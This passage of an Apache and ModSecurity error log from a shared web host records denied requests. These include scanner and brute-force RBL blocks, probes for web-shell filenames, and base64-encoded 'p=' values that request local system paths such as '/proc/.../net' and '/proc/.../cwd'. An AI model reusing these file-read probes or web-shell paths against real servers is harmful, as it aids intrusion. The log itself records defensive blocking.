https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:51.329444 2026] [access_compat:error] [pid 531797:tid 531920] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:51.385390 2026] [security2:error] [pid 531797:tid 531943] [remote 17.246.15.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xE8TA7b1mZrmcA-8WEQACSU8"] [Sat Jun 13 18:08:51.478732 2026] [security2:error] [pid 531797:tid 532082] [client 191.233.234.186:53430] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/twinklingly.php"] [unique_id "ai3xE8TA7b1mZrmcA-8WFAAAAmg"] [Sat Jun 13 18:08:51.487498 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:08:51.487961 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:08:51.527984 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.48:21937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:51.528245 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.48:21937] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:51.592371 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.75:57116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:51.592757 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.75:57116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:51.621208 2026] [security2:error] [pid 531797:tid 531884] [remote 17.22.245.37:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 37.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xE8TA7b1mZrmcA-8WHAACSxQ"] [Sat Jun 13 18:08:51.753143 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.37:41036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:51.753428 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.37:41036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:51.793037 2026] [security2:error] [pid 531155:tid 531375] [client 20.151.217.54:16961] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xEymiP80klyS0NnrtcQAAAWQ"] [Sat Jun 13 18:08:51.806816 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.6:44654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:51.807222 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.6:44654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:51.865243 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:51.865692 2026] [access_compat:error] [pid 531797:tid 531936] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:51.975698 2026] [security2:error] [pid 531155:tid 531380] [client 191.234.188.123:47806] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wpb.php"] [unique_id "ai3xEymiP80klyS0NnrtdAAAAWk"] [Sat Jun 13 18:08:52.018622 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:08:52.019096 2026] [access_compat:error] [pid 531155:tid 531173] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDIvcG93ZXI= [Sat Jun 13 18:08:52.102536 2026] [core:error] [pid 531797:tid 532125] [client 66.249.74.35:35856] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:08:52.102576 2026] [core:error] [pid 531797:tid 532125] [client 66.249.74.35:35856] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:08:52.116423 2026] [security2:error] [pid 531155:tid 531263] [remote 57.141.14.98:37736] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3xFCmiP80klyS0NnrtegABRms"], referer: https://nelsonfarmstn.com/product-category/specials/?add_to_wishlist=1259&_wpnonce=9f1485e47c [Sat Jun 13 18:08:52.190386 2026] [security2:error] [pid 531155:tid 531370] [client 20.151.217.54:65246] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/crgio.php"] [unique_id "ai3xFCmiP80klyS0NnrtfQAAAV8"] [Sat Jun 13 18:08:52.387632 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:08:52.388082 2026] [access_compat:error] [pid 531797:tid 531922] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL25ldA== [Sat Jun 13 18:08:52.444008 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:52.444266 2026] [access_compat:error] [pid 531155:tid 531234] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:52.531006 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjA4 [Sat Jun 13 18:08:52.531290 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjA4 [Sat Jun 13 18:08:52.602914 2026] [security2:error] [pid 531797:tid 531967] [remote 17.246.23.107:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 107.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFMTA7b1mZrmcA-8WOgACRmY"] [Sat Jun 13 18:08:52.657658 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.108:26765] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:52.658092 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.108:26765] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:52.663632 2026] [security2:error] [pid 531797:tid 532111] [client 191.234.188.123:55333] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/bgymj.php"] [unique_id "ai3xFMTA7b1mZrmcA-8WPQAAAoQ"] [Sat Jun 13 18:08:52.708089 2026] [security2:error] [pid 531797:tid 532039] [client 191.233.234.186:53450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/12.php"] [unique_id "ai3xFMTA7b1mZrmcA-8WPgAAAj4"] [Sat Jun 13 18:08:52.725525 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.55:61565] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:52.725825 2026] [access_compat:error] [pid 531797:tid 531938] [remote 57.141.14.55:61565] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:52.894173 2026] [security2:error] [pid 531155:tid 531269] [remote 87.106.70.198:49558] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 198.70.106.87.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "scholarsofsharlayan.com"] [uri "/wp-login.php"] [unique_id "ai3xFCmiP80klyS0NnrtiwABSHE"] [Sat Jun 13 18:08:52.939169 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:08:52.939618 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTA3MDYxL2N3ZA== [Sat Jun 13 18:08:52.971150 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:08:52.971425 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDUvZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:08:52.983638 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.73:55536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:52.983972 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.73:55536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:52.991283 2026] [security2:error] [pid 531797:tid 532022] [client 20.151.217.54:17060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/wpconf.php"] [unique_id "ai3xFMTA7b1mZrmcA-8WRAAAAi4"] [Sat Jun 13 18:08:53.259346 2026] [security2:error] [pid 531155:tid 531255] [remote 17.241.75.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFSmiP80klyS0NnrtlwABiWM"] [Sat Jun 13 18:08:53.424310 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:08:53.424641 2026] [access_compat:error] [pid 531797:tid 531907] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:08:53.455866 2026] [security2:error] [pid 531155:tid 531406] [client 191.234.188.123:63862] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-ocsw.php"] [unique_id "ai3xFSmiP80klyS0NnrtmgAAAYM"] [Sat Jun 13 18:08:53.472676 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:08:53.472953 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:08:53.507211 2026] [security2:error] [pid 531155:tid 531176] [remote 17.246.15.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFSmiP80klyS0NnrtngABbhQ"] [Sat Jun 13 18:08:53.514924 2026] [security2:error] [pid 531797:tid 531915] [remote 210.211.99.176:45232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "coscharis-tech.com"] [uri "/wp-login.php"] [unique_id "ai3xFcTA7b1mZrmcA-8WTQACGTM"] [Sat Jun 13 18:08:53.522773 2026] [security2:error] [pid 531797:tid 531954] [remote 17.246.15.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xFcTA7b1mZrmcA-8WTgACdFo"] [Sat Jun 13 18:08:53.553205 2026] [security2:error] [pid 531797:tid 532126] [client 20.151.217.54:17065] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xFcTA7b1mZrmcA-8WTwAAApE"] [Sat Jun 13 18:08:53.587730 2026] [security2:error] [pid 531797:tid 532080] [client 172.56.168.133:41874] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xFcTA7b1mZrmcA-8WUQAAAmY"] [Sat Jun 13 18:08:53.587870 2026] [security2:error] [pid 531797:tid 532080] [client 172.56.168.133:41874] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xFcTA7b1mZrmcA-8WUQAAAmY"] [Sat Jun 13 18:08:53.769053 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.84:33916] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:53.769334 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.84:33916] AH01797: client denied by server configuration: 